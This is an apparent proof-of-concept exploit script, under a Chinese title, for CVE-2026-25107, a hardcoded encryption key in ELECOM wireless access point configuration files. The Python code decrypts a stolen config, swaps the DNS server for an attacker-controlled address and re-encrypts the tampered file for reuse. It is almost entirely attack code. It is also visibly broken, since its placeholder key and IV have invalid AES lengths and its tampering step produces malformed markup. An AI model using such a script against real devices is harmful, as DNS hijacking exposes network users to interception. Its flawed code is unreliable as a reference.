CVE-2026-25107 ELECOM无线接入点配置文件硬编码密钥漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-25107 Hardcoded Cryptographic Key # This script demonstrates decrypting, tampering, and re-encrypting a config file. from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad import hashlib import base64 # Placeholder for the hardcoded key extracted from firmware # In a real scenario, this key is found in the binary HARDCODED_KEY = b'ELECOM_SECRET_KEY_123' IV = b'INIT_VECTOR_16BYT' def decrypt_config(encrypted_data): """Decrypt the configuration file using the hardcoded key.""" cipher = AES.new(HARDCODED_KEY, AES.MODE_CBC, IV) try: decrypted = unpad(cipher.decrypt(base64.b64decode(encrypted_data)), AES.block_size) return decrypted.decode('utf-8') except Exception as e: return f"Error: {e}" def encrypt_config(plain_text): """Encrypt the tampered configuration file.""" cipher = AES.new(HARDCODED_KEY, AES.MODE_CBC, IV) encrypted = cipher.encrypt(pad(plain_text.encode('utf-8'), AES.block_size)) return base64.b64encode(encrypted).decode('utf-8') def tamper_config(config_content): """Inject malicious payload into the configuration.""" # Example: Changing the admin DNS to a malicious server malicious_dns = "<dns_server>192.168.1.100</dns_server>" if "<dns_server>" in config_content: return config_content.replace("<dns_server>", malicious_dns) return config_content + "\n" + malicious_dns # Main execution flow if __name__ == "__main__": # Simulating reading a stolen encrypted config file # encrypted_content = open('config.bin', 'r').read() encrypted_content = "(Base64 Encoded String representing the config file)" print("[+] Decrypting config with hardcoded key...") decrypted = decrypt_config(encrypted_content) print(decrypted) print("\n[+] Tampering with configuration...") tampered = tamper_config(decrypted) print(tampered) print("\n[+] Re-encrypting malicious config...") final_payload = encrypt_config(tampered) print(f"Malicious Config: {final_payload}")